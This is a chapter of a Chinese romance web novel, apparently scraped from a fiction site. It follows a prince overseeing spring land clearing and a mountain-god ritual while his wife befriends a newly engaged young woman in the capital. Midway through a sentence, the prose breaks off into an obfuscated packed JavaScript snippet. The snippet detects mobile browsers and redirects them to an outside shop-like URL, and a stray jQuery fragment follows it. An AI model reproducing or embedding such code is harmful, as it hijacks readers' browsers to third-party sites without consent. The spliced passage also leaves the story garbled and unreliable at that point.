25. 春垦
作品:《与君共弈山河》 第三十五手,黑子六之十一,稳健补断;第三十六手,白子六之七,扳。
裴明看着递上来的折子,又是催自己南下组织春垦的,“这些人没了本王难道连活都干不明白了吗?”
“王爷息怒,春垦开荒是大事,关乎万民生计。况且陛下已全好,京中之事也不需要您亲自主持。”
裴明烦躁地搁下笔,“本王才刚成婚,刚新婚就与夫人分别,于情于理不和。”
卫沣向来是个心直口快的人,“夫人貌似不需要你,说不定也想让你出去。”
裴明一时竟想不到反驳的句子,用力挥了挥袖子,说:“收拾东西,即刻启程。”
白芷水在外买了些东西回来,回家却不见人,拉住一个侍女问,“你们家王爷呢,一大早就不见人?”
“回夫人,王爷有事南下了。”
用手掂了掂刚出炉热气腾腾的糕点,起大早买的,果真这人没有口福,正好没人和自己分,可以多吃些。
裴明出门的时候很潇洒,连封手书都没有留,这会坐上马车眼看要出城了,才有些懊恼,不知道她一个人在府里住不住得惯。
白芷水没有人盯着,这小日子别提有多舒服,白日里四处逛逛,夜里练练剑,点灯看看话本子,床铺那么大可以肆意翻滚。
河山郡离京城不远,三日就到了。
城门前百官已等待良久,郡守迈着步子气喘吁吁地跑过来,在离马车不远处停了下来,“参见王爷,臣等已恭候多时,可即刻上山。”
裴明心不甘情不愿的从马车上下来,看这阵势,一点歇脚的功夫都没有给自己留,“众卿不必多礼……”
话未说完就被褚季打断,“王爷请立即随臣上山,时候要来不及了,山神可不等人啊。”为表焦急还特意剁了几下脚,身上的肉都跟着颤动,裴明有些不忍直视,还是自家夫人看着顺眼。
大周这几年国家安定,人口激增,为防患于未然需提前开垦荒山,广积粮,而开山之前需得择吉日祭山,争得山神同意后开垦才不会出问题,况且山神还会庇佑粮食增产。
传闻河山郡的山神脾气不稳定,其他官员不敢贸然开山,只能让裴明做这个投石问路的人,美其名曰皇室之人有真神护体,可福泽万民,实则是得找个命硬的,好承受山神的怒火。
山下用红绸盖着牛羊豕等牲畜,裴明上前焚香,拜了几下,将香插回香炉,三缕青烟垂直向上,仪式已成。
众官喜极而泣,纷纷跪拜,“感谢上苍护佑我大周子民。”
裴明看着眼前的这一幕,之前的不愉快瞬间烟消云散,父皇留下的这些人忠心程度毫不怀疑,就是不会察言观色。
当然不忠的人早已被杀了个干净,想当年上京城中血流成河,不知暗藏着多少人的恸哭,都是为了给皇兄铺成一条登基的康庄大道。
劳工圈出一块平整的地,先进行小范围的烧荒。经过一冬的杂草早已枯萎风干,但草籽还在土中,为避免杂草与粮食争夺养分,火燎是最简单有效的方法,一场火还能烧死蛰伏的土地中的害虫,草木灰也可肥田。
裴明站在稍远处看着,“今日这燎荒还算是顺利,开了个好头。”
褚季将手揣在袖中,说:“托王爷的福气,这地要是成了,今年能多收些黄米,谷子。”
二人正有一搭没一搭地说着,从旁边走过来一个小官,“见过,王爷,褚大人,这里土大,山下备了茶,还请殿下和大人赏脸过去。”
褚季将人拉到一边,低声询问,“你没看到王爷没有要走的意思,这般冒失到底有何事?”
岳望简微鞠一躬,说:“大人,这许多劳力都要吃喝拉撒,得建些茅房,等种子下去也好施肥。”
“好了,知道了,你快去办,我带王爷下山。”将人送走,“王爷这山上烟尘大,我们先下去避避,再说您一路上舟车劳顿,也该休息休息。”
、
裴明知道自己站在这儿反倒让众人放不开手干活,顺势应了,“几年不见,褚大人这身体越发好了。”
褚季拖着肥胖的身体艰难地试图跟上裴明的脚步,时不时用汗巾擦擦额头的汗,“王爷就不要再取笑我了,我日日控制饮食,还是瘦不下来,家里夫人都说我身上有味道,不愿与我同住。”
“我夫人倒是一直跟我住一起,离京这么多天,也不知道她适不适应。”面上透露着些许得意。
“早听说王爷成婚了,不知王妃是何方人士。”
裴明停下用折扇慢慢扇着风,轻抬一下扇尖,“夫人不愿透露自己的来历,褚大人,你多言了。”
褚季抱拳后退几步,“是老臣言过了。”
白芷水这几天过得潇洒自在,恍然中听说素问和京城中有名的才子游子业定了亲。这事闹得沸沸扬扬,全城的人都道素问攀上了高枝。
游子业其人虽未考入学宫,但他作的诗谱的曲在京中广为流传,本人也长得相貌堂堂。
白芷水发自内心的对素问感到高兴,问了谷良才知道她本家姓李,是城中有名的商人。
因身份不便透露也不能递拜贴,只能在李宅附近碰碰运气,没想到真让自己遇上了,老远就看到人从一辆马车上下来,对着马车告别,可看不出里面究竟是何人。
白芷水走向前去,“素问姑娘,刚刚是何人,让你这么开心。”
素问没想到会在这看到白芷水,目光中透露出些羞怯,“是游郎,我们刚刚在画舫上泛舟作诗,他的才情远非旁人所能及。”
“可是你看起来比我年纪还小,大周未满十八才能婚嫁,不合礼数吧。”
素问掩嘴啼笑,“原来我这么显年轻,可我虚岁已满20了,父亲已经交了几年罚银,幸亏今年在诗会上遇到了游郎,情投意合之下就定了亲。”
白芷水仔细回想了一下参
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260428|197974||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
加诗会的众人,只记得素问一直和一个白衣男子攀谈,面貌却是没看清,也怪自己贪嘴。
“既如此就好,你安心备婚,我最近也不催着你要稿子了。”
素问大方一笑,“多谢姑娘体谅,三月武举就要开了,不知准备的如何,我还想亲自去看看姑娘的风采。”
白芷水暗道声不好,差点忘了自己之前扯的谎,“劳小娘挂念,我最近练功不小心伤了手臂,只怕今年的武举是参加不了了。”
素问连忙上前仔细查看,“严不严重,怎么伤到的,你怎的这么不小心。”表情真挚,白芷水看了都有些不忍欺瞒,“没事,就是筋拉伤了,已经配了药,不出两个月就好了。”
素问依旧有些不放心,“武举多重要,前几名可以直接进学宫,这种机会可万万不能错过。”说罢拉起白芷水的手,往宅子里走去,“府中有医师,先让她给你看看,实在不行我去求医圣,总归有的治。
白芷水动了动自己被攥的生疼的手腕,试图抽出来,却纹丝不动,也不敢太用力,只能快走几步,挡在她身前,“小娘,对不起,是我欺瞒了你。”
素问放开手,表情却没有丝毫变化,“我早就知道,你这身气质绝不是一个普通人能有的,但是救命之恩,我这辈子都会记着。只要能用的上我,或者整个李府的地方,但凡能做到的,定不会推辞。”
明明比自己年长,可这神情怎么看都看不出来一点岁月的痕迹,“小娘说笑了,哪值得这么倾心相待,你也是,要是遇到事了记得往石狮子口里塞信。”
“好。”
经过几日的烧荒,能供开垦的地方的杂草均已被除掉,劳工牵着牛或带着耒耜、铁锸将地细细翻了一遍,除掉里面坚硬的石块和草根,再用铁齿杷将土弄碎,成了细土更好耕种。
翻出来的碎石也有大用,垒好田埂后划分出一块块的地,明确权属。接下来浇上粪肥,待春种的时候可以播些绿豆、黄米、谷子之类的养地,过几年就能种主粮了。
山地干旱,上面没有充足的水源,靠天吃饭往往是行不通的,还需从支流边引水灌溉。
开挖水渠又需耗费人力财力,盘算了下琼林阁内的收益,除留作军用外还有些亏空,不知能不能从去年的税收里匀出来些。
提笔给皇兄写了封信,陈述利弊并附上开支预算,顺道美言了几笔最近的开荒进展。用蜡印封好,刚打算交给卫展时,突然想到了些什么,又写了一封,自己非常满意,不知道那人看到后会想些什么。
“一封交给宫里,一封给王妃,尽快。”
“是。”
自己这几个侍卫就卫展话少些,可算是清净了些。
加急送到宫中,裴景打开看了一下,对着江芩说,“还是让他办差我放心些,我记得今年春垦的预算还有,正好拨过去些。”
“正是,太史令说今年是个好年份,希望如此吧。”

